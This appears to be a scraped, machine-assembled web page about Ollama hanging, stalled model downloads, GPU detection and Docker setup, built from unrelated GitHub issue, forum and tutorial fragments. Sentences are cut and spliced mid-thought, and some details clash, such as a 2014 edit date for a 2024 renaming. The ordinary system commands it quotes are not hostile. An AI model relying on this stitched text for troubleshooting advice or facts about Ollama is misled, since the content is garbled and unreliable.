these tetris like blocks: ollama loading stuck. md at main · ollama/ollama Apr 5, 2024 · 🚫📸 Please post code, errors, sample data or textual output here as plain-text, not as images that can be hard to read, can’t be copy-pasted to help test code or use in answers, and are barrier to those who depend on screen readers or translation tools. Continue can then be configured to use the "ollama" provider: Get up and running with large language models. address. Disable the service at startup: sudo systemctl disable ollama. Any ideas? Feb 8, 2024 · "I haven't had this issue until I installed AMD ROCM on my system; it gets stuck at this step in every version that I try. Mar 1, 2024 · If you're still having problems, could you run the server with OLLAMA_DEBUG="1" set and share the logs when you're trying to download and seeing the extremely slow throughput? We're working on some improvements to throttling the download to try to optimize for the available bandwidth in #2221 which may help. I want to run Stable Diffusion (already installed and working), Ollama with some 7B models, maybe a little heavier if possible, and Open WebUI. You switched accounts on another tab or window. . Feb 22, 2024 · Cloudflare VPN is not necessary to use Ollama. 23; i get the same problem like you. I am also trying to pull the new Smaug model but this is stuck on even pulling the model: ollama pulling manifest stuck. 0:11434, despite following the excellent documentation and setting the OLLAMA_HOST and OLLAMA_ORIGINS environment variables didn't help me. 1, Phi 3, Mistral, Gemma 2, and other models. With Ollama, you can use really powerful models like Mistral, Llama 2 or Gemma and even make your own custom models. It provides a simple API for creating, running, and managing models, as well as a library of pre-built models that can be easily used in a variety of applications. As long as your phone is on the same wifi network, you can enter the URL in this app in settings like: How good is Ollama on Windows? I have a 4070Ti 16GB card, Ryzen 5 5600X, 32GB RAM. And this is not very useful especially because the server respawns immediately. Edit: yes I know and use these commands. 991+01:00 level=INFO source=images. docker. May 4, 2024 · What is the issue? Hello everyone. Ollama serve stops at CUDA compute compability! no matter what i am doing i always got stuck on level=INFO source=gpu. 1" and it makes me angry because i can't see nothing helpfull online Ollama. Here is May 19, 2024 · Maybe a piece of the puzzle (and a quick fix for anyone stuck on this). - ollama/docs/docker. Feb 11, 2024 · Ollama stopped serving my requests after %hours Part of the log is here The prompt is large but the quite the same everytime. But it is possible to run using WSL 2. At this time, gpustat showed two ollama_lama_server processes with 100% and 200% GPU utilization, respectively. Check the ollama serve log for the numbers of the parts that are stuck; Open the corresponding sha265-{huge hash}-partial-{nn} (nn being the number) files in the models/blobs folder as a text file; Now replace the number behind Completed: with a 0; Save the file; Retry the pull Jul 1, 2024 · Setting Up an LLM and Serving It Locally Using Ollama Step 1: Download the Official Docker Image of Ollama To get started, you need to download the official Docker image of Ollama. 32 and 0. c. Jan 9, 2024 · There are 5,000 prompts to ask and get the results from LLM. I am talking about a single command. We have a server hosting a few ollama instances (ollama serve on different ports) and we use a custom queuing system to dispatch which request goes where. Stopping all clients did not resolve the issue; no new requests were processed, and the Ollama processes remained at high utilization. NOTE: Edited on 11 May 2014 to reflect the naming change from ollama-webui to open-webui. Then the download slows to a few tens of KB/s and takes hour(s) to finish. But these are all system commands which vary from OS to OS. keep trap in this loop, request hang and endless print logs like you post. Using (version HEAD-6164f37) with the command for instance in $(seq 1 17); do ollama run nous-hermes2:10. type ollama run deepseek-coder (or any other model), which will then also launch the ollama systray icon, just like launching ollama app. 17, the Ollama server stops in 1 or 2 days. If I CTRL + C it the next question will not be answered at all. go:989: INFO server config env="map[OLLAMA_DEBUG:false OLLAMA_LLM_LIBRARY: Skip to main content Stack Overflow Dec 27, 2023 · From what I understood, anythingllm docker image can't have access to the ollama server installed on the host machine 😕 1 ThatOneCalculator reacted with confused emoji All reactions Ok so ollama doesn't Have a stop or exit command. Designed to support a wide array of programming languages and Your answer seems to indicate that if Ollama UI and Ollama are both run in docker, I'll be OK. Get up and running with Llama 3. I was following the tutorial at Ollama Docker image. Now it hung in 10 minutes. This is particularly useful for computationally intensive tasks. Without adding the aliases I enter in the console: Nov 7, 2023 · You signed in with another tab or window. This is the Ollama server message when it stops running. Feb 29, 2024 · The issue is that my Ollama server is remote to my n8n server and the node doesn’t accept Basic Auth, nor the credentials support authentication, which means I’m stuck with nothing. To start it manually, we use this command: sudo systemctl start ollama. After installing the NVIDIA Container Toolkit, and then configuring Docker to use Nvidia driver and starting the container, I tried to attach the con Mar 4, 2024 · Ollama is a AI tool that lets you easily set up and run Large Language Models right on your own computer. Ollama is functioning on the right port, cheshire seems to be functioning on the right port. May 19, 2024 · Source-Ollama. g. dial tcp: lookup registry. /Modelfile. It works on macOS, Linux, and Windows, so pretty much anyone can use it. Start a second terminal session (in Visual Studio Code click the + symbol at the top right of the terminal) and then execute: ollama run llama3 (if client and server are on the same machine, 127. Downloading models locally. system messages, tools), but these 40 or so l. ollama version is 0. Reload to refresh your session. If you want to get help content for a specific command like run, you can type ollama Ollama is a user-friendly platform that simplifies the management and operation of LLMs locally. 04 Hardware Uninstalling Ollama: Stop the Ollama service: sudo systemctl stop ollama. I also follow here, setting OLLAMA_CUSTOM_CPU_DEFS="-DLLAMA_AVX=on -DLLAMA_AVX2=on -DLLAMA_F16C=on -DLLAMA_FMA=on", to build the binary locally with AVX2 support. However, when attempting to execute a query, there seems to be an issue. Run Llama 3. With Ollama 0. We use ngrok to remote access these models so you can bring open-source LLMs on the go. Only the difference will be pulled. Quick and dirty code if you want to reproduce it is there Let me know if you need more information. ai on 131. Feb 28, 2024 · Problem: some prompts trigger an infinite loop where ollama a) doesn't return and b) locks up the API so no other calls can be made. Unfortunately Ollama for Windows is still in development. For a CPU-only Nov 26, 2023 · Currently CPU instructions are determined at build time, meaning Ollama needs to target instruction sets that support the largest set of CPUs possible. without needing a powerful local machine. OLLAMA stands out in the world of programming tools for its versatility and the breadth of features it offers. However, we noticed that once we restarted the ollama. ollama. The OLLAMA_KEEP_ALIVE variable uses the same parameter types as the keep_alive parameter types mentioned above. 114. Jon March 4, 2024, 4:45pm Thus ollama does detect GPU and also reports CPU has AVX2. Since it's already running as a service, there's no reason to run ollama serve ; it's already serving on your requested port (0. Then, I installed Ollama by running curl -fsSL Ollama How to use Ollama on Visual Studio Code. internal:11434) inside the container . You signed out in another tab or window. 7b-solar-q4_K_M Hello; done, the ollama serve will stop generating text on the 17th run and won't process requests normally until ollama serve is restarted. Predictive Modeling w/ Python. However, when initializing server, it shows AVX2 = 0 as well as AVX_VNNI = 0. Ollama with llama2 hangs after a few lines and cannot recover. streamlitチャットで ⇒いい感じ. service. Download Ollama When launching ollama serve for the first time on Windows, it may get stuck during the model loading phase. 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